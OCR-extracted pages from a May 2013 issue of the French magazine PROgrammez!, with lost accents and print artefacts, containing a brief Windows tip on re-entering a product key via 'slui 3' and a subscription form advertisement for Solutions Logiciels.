La syntaxe du nom de fichier, de rpertoire ou de volume est
incorrecte.

UNE SOLUTION SIMPLE !


Vous devez peut-tre entrer nouveau votre cl de produit. Pour
rsoudre ce problme, procdez comme suit :
Appuyez sur les touches Windows + X, puis cliquez sur Excuter
Tapez slui 3, puis cliquez sur le bouton OK
Entrez votre cl de produit 25 chiffres sans les tirets, puis
cliquez sur le bouton Activer.
Si tout va bien, vous allez voir le message : Merci vous avez termin
# Azzam Alnijres
Microsoft MVP (Windows Expert-Consumer)
Membre de Microsoft STEP
MCTS
Prsident Club Windows 8
www.club-windows8.com

PROgrammez !

< 82 >

MAI

2013

02/83/84-162

19/04/13

23:43

Page 3

Les outils des Dcideurs Informatiques


Vous avez besoin dinfo
sur des sujets
dadministration,
de scurit, de progiciel,
de projets ?
Accdez directement
linformation cible.

Cas clients

Actus

Evnements

Avis dExperts

Newsletter

Vidos

www.solutions-logiciels.com

OUI, je mabonne (crire en lettres capitales)


Envoyer par la poste : Solutions Logiciels, service Diffusion, GLIE - 17 chemin des Boulangers 78926 Yvelines cedex 9 - ou par fax : 01 55 56 70 20

1 an : 50 au lieu de 60, prix au numro

(Tarif France mtropolitaine) - Autres destinations : CEE et Suisse : 60 - Algrie, Maroc, Tunisie : 65 , Canada : 80 - Dom : 75 Tom : 100

10 numros par an.


M.
Titre :

Mme

Mlle

Socit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . Fonction :

Directeur informatique

Responsable informatique

Chef de projet

Admin

Autre . . . . . . . . . . . . . . . . . . . . . . . . . .

NOM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Prnom . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
N . . . . . . . . . . . . . rue

......................................................................................................................

Complment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Code postal : LLLLLI Ville . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adresse mail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Je joins mon rglement par chque lordre de SOLUTIONS LOGICIELS

Je souhaite rgler rception de facture

Editeur : K-Now sarl au cap de 8000


sige social : 21 rue de Fcamp, 75012 Paris

Actu trie par secteur

02/83/84-162

19/04/13

23:45

Page 4